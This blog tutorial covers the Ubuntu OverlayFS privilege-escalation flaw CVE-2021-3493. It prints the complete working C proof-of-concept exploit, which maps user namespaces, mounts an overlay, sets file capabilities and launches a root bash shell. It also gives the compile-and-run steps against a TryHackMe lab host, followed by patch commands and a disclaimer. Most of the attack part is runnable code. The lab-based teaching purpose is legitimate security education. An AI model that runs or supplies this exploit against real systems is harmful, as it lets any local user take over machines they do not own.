In this Blog article we will talk and practical about OverlayFS. If you are using ubuntu linux so in such a situation, you need to be
cautious. Because in the same year 2021, a security researcher has
discovered a vulnerabilty inside ubuntu OS, from with the help
of any attacker can take root privileges escalation of your
Ubuntu OS.
Basically OverlayFS is a linux kernel module that allows in the
system to combine several mounts points into one, so that you can access all
the files from each within one directory structure. Overlayfs CVE-2021-3493 Ubuntu OS Vulnerability
One use is having a read only root file system, and another parition
"overlayed" with that to allow applications to write to a temporary the file
system
An Ubuntu specific issue in the overlayfs file system in the Linux kernel
where it did not properly validate the application of file system capabilities
with respect to user namespaces. A local attacker could use this to gain
elevated privileges, due to a patch carried in Ubuntu to allow unprivileged
overlayfs mounts.
CVE
CVE-2021-3493
Full Credit
An independent security researcher has reported this vulnerability to
the SSD Secure Disclosure program.
About the vuln
Recently, SSD-Disclosure released a proof of concept (and a great
explanation) for an Ubuntu kernel exploit (https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/).
This vulnerability is particularly serious, as overlayfs
is a kernel module that is installed by default on Ubuntu 1804 Server.
If the system is vulnerable, you can very easily escalate from any user to
root, as long as you can run a binary.
If there isn't a C compiler installed on the machine, you can compile the
binary statically elsewhere and copy just the binary over.
Affected Versions
- Ubuntu 20.10
- Ubuntu 20.04 LTS
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
- Ubuntu 14.04 ESM
Practical
So first of all we will copy the exploitation code which is written in the C
programming language but before we will run/access Ubuntu OS via SSH.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
ssh overlay@10.10.7.43
After accessing the ubuntu OS, as you can see this OS is vulnerable and the OS's version is 18.04.4 LTS
So let's write the code thats mean copy/paste ("hahahhahh!") with creating a new file called exploit.c and paste the code( see above) (because this is written in c programming language)
For save and exit a file -
ctrl + o (for save)
ctrl + x (for exit)
Compile the exploit with gcc. If you're finding this difficult, don't worry I am here...
gcc -o exploit exploit.c
-o (for output and compilation file)
as you can here, a compilation file has been created here and then run
./exploit and become a root user without any password (vola!)
Finally we are root user!!
Uff! where did this flag come from here. Don't worry you can do this practical yourself on TryHackMe website for FREE!!
Room is Here :- https://tryhackme.com/room/overlayfs
And if i use "sudo su", i need a password to access the root user... so, as you can see, it is asking us for a password.
How to patch?
So , first of all we will update our ubuntu OS and install linux-image..
sudo apt update
sudo apt install linux-image-5.6.0-1055-oem
Further reading
Want to know more about OverlayFS?
https://yagrebu.net/unix/rpi-overlay.md - Read only root file system with overlayfs to allow applications to run normally.
https://wiki.archlinux.org/index.php/Overlay_filesystem - The Arch Wiki's page on OverlayFS (I don't use Arch BTW)
Want to know more about this specific CVE?
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3493 - Mitre's CVE entry for this vulnerability, which includes many further links.
https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/ - This is where we got the PoC code, and it explains the vulnerability very well.
Disclaimer
This was written for educational purpose and pentest only.
The author will
not be responsible for any damage ..!
The author of this tool is not
responsible for any misuse of the information.
You will not misuse the
information to gain unauthorized access.
This information shall only be
used to expand knowledge and not for causing malicious or damaging
attacks. Performing any hacks without written permission is illegal ..!
All
video’s and tutorials are for informational and educational purposes only. We
believe that ethical hacking, information security and cyber security should be
familiar subjects to anyone using digital information and computers. We believe
that it is impossible to defend yourself from hackers without knowing how
hacking is done. The tutorials and videos provided on www.hackingtruth.in is
only for those who are interested to learn about Ethical Hacking, Security,
Penetration Testing and malware analysis. Hacking tutorials is against misuse of
the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is
used.
All tutorials and videos have been made using our own
routers, servers, websites and other resources, they do not contain any illegal
activity. We do not promote, encourage, support or excite any illegal activity
or hacking without written permission in general. We want to raise security
awareness and inform our readers on how to prevent themselves from being a
victim of hackers. If you plan to use the information for illegal purposes,
please leave this website now. We cannot be held responsible for any misuse of
the given information.
- Hacking Truth by Kumar Atul
Jaiswal
I hope you liked this post, then you should not
forget to share this post at all.
Thank you so much :-)